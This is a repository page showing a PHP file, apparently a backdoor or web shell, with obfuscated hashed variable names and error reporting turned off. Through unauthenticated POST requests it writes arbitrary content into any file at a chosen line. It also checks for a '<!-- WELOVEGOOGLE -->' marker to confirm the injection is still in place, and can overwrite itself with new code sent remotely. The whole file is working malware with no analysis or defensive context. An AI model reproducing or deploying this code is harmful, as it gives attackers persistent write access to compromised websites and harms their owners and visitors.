-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathblhub.api.c.php
68 lines (68 loc) · 3.99 KB
/
blhub.api.c.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
if($_POST["content"] && $_POST["location"] && $_POST["line"]) {
$var_0debdce0ab93497920fd6ff94f2d01c6 = $_POST["content"];
$var_ccab49de13449fddcc7f624bfa0c1ef9 = $_POST["location"];
$var_536a7468e027c7d02d1c8b324bd1248b = $_POST["line"]-1;
$var_6edc0ea0c293974046e2848f865fafa2 = null;
if(@file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9)) {
$var_1654df2bfca35b2d391a907afa1a9b11 = @file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9);
} else {
$var_29a48166877e732d021975dba891cd18 = @fopen($var_ccab49de13449fddcc7f624bfa0c1ef9, 'w+');
$var_1654df2bfca35b2d391a907afa1a9b11 = @fopen($var_ccab49de13449fddcc7f624bfa0c1ef9, 'r');
}
$var_1654df2bfca35b2d391a907afa1a9b11 = explode("\n", $var_1654df2bfca35b2d391a907afa1a9b11);
for ($var_3cdcd4534e315180c522d715fde8a666=0; $var_3cdcd4534e315180c522d715fde8a666<count($var_1654df2bfca35b2d391a907afa1a9b11); $var_3cdcd4534e315180c522d715fde8a666++) {
$var_700909520fa2b6083891eb794bc9cfb5 = count($var_1654df2bfca35b2d391a907afa1a9b11)-1;
if($var_700909520fa2b6083891eb794bc9cfb5==$var_3cdcd4534e315180c522d715fde8a666) {
$var_0f8a1066e10a306078f821ccf809a45a = NULL;
} else {
$var_0f8a1066e10a306078f821ccf809a45a = "\n";
}
if(stristr($var_1654df2bfca35b2d391a907afa1a9b11[$var_3cdcd4534e315180c522d715fde8a666], '<!-- WELOVEGOOGLE -->') == false) {
$var_6edc0ea0c293974046e2848f865fafa2 .= $var_1654df2bfca35b2d391a907afa1a9b11[$var_3cdcd4534e315180c522d715fde8a666].$var_0f8a1066e10a306078f821ccf809a45a;
}
if($var_3cdcd4534e315180c522d715fde8a666==$var_536a7468e027c7d02d1c8b324bd1248b) {
$var_6edc0ea0c293974046e2848f865fafa2 .= $var_0debdce0ab93497920fd6ff94f2d01c6.$var_0f8a1066e10a306078f821ccf809a45a;
}
}
if(@file_put_contents($var_ccab49de13449fddcc7f624bfa0c1ef9, $var_6edc0ea0c293974046e2848f865fafa2, FILE_TEXT)) {
echo 'success';
} elseif(@fwrite($var_29a48166877e732d021975dba891cd18, $var_6edc0ea0c293974046e2848f865fafa2)) {
@fclose($var_29a48166877e732d021975dba891cd18);
echo 'success';
}
} elseif($_POST["location"] && $_POST["checkup"]) {
$var_f7f0a97a1c1711a6c707740e6835973a = 'deleted';
$var_ccab49de13449fddcc7f624bfa0c1ef9 = $_POST["location"];
if(@file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9)) {
$var_1654df2bfca35b2d391a907afa1a9b11 = @file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9);
} else {
$var_1654df2bfca35b2d391a907afa1a9b11 = @fopen($var_ccab49de13449fddcc7f624bfa0c1ef9, 'r');
}
$var_1654df2bfca35b2d391a907afa1a9b11 = explode("\n", $var_1654df2bfca35b2d391a907afa1a9b11);
for ($var_3cdcd4534e315180c522d715fde8a666=0; $var_3cdcd4534e315180c522d715fde8a666<count($var_1654df2bfca35b2d391a907afa1a9b11); $var_3cdcd4534e315180c522d715fde8a666++) {
if(stristr($var_1654df2bfca35b2d391a907afa1a9b11[$var_3cdcd4534e315180c522d715fde8a666], '<!-- WELOVEGOOGLE -->') == true) {
$var_f7f0a97a1c1711a6c707740e6835973a = 'working';
}
}
echo $var_f7f0a97a1c1711a6c707740e6835973a;
} elseif($_POST["content"] && $_POST["update"]) {
$var_0debdce0ab93497920fd6ff94f2d01c6 = $_POST["content"];
$var_ccab49de13449fddcc7f624bfa0c1ef9 = __FILE__;
if(@file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9)) {
$var_1654df2bfca35b2d391a907afa1a9b11 = @file_get_contents($var_ccab49de13449fddcc7f624bfa0c1ef9);
@file_put_contents($var_ccab49de13449fddcc7f624bfa0c1ef9, $var_0debdce0ab93497920fd6ff94f2d01c6, FILE_TEXT);
echo 'success';
} else {
$var_29a48166877e732d021975dba891cd18 = @fopen($var_ccab49de13449fddcc7f624bfa0c1ef9, 'w+');
@fwrite($var_29a48166877e732d021975dba891cd18, $var_0debdce0ab93497920fd6ff94f2d01c6);
@fclose($var_29a48166877e732d021975dba891cd18);
echo 'success';
}
} else {
echo 'error';
}
?>